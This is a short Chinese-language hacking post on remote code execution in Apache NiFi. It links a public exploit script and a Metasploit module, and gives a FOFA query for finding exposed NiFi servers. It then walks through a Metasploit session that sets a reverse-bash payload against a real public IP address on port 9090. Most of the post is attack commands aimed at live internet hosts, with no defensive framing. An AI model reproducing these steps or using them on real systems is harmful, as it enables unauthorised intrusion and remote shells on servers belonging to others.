Apache NiFi远程代码执行-RCE

Apache NiFi远程代码执行-RCE

简介：
Apache NiFi 是一个易于使用、功能强大而且可靠的数据处理和分发系统。Apache NiFi 是为数据流设计。它支持高度可配置的指示图的数据路由、转换和系统中介逻辑。

---

EXP：https://github.com/imjdl/Apache-NiFi-Api-RCE作者这里使用exp不行
使用方法：python exp.py [url] [反弹shell命令]

MSF module：

https://github.com/rapid7/metasploit-framework/pull/14216#issue-497270261

我这里直接跳过了安装,我直接更新msf完事：

apt-get update
apt-get  install metasploit-framework

fofa关键字："nifi" && title=="NiFi"

MSF怼：

msf6 > use exploit/multi/http/apache_nifi_processor_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/apache_nifi_processor_rce) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/http/apache_nifi_processor_rce) > set lport 4444
lport => 4444
msf6 exploit(multi/http/apache_nifi_processor_rce) > set rhosts 目标ip
rhosts => 74.208.80.242
msf6 exploit(multi/http/apache_nifi_processor_rce) > set rport 目标端口
rport => 9090
msf6 exploit(multi/http/apache_nifi_processor_rce) > run -z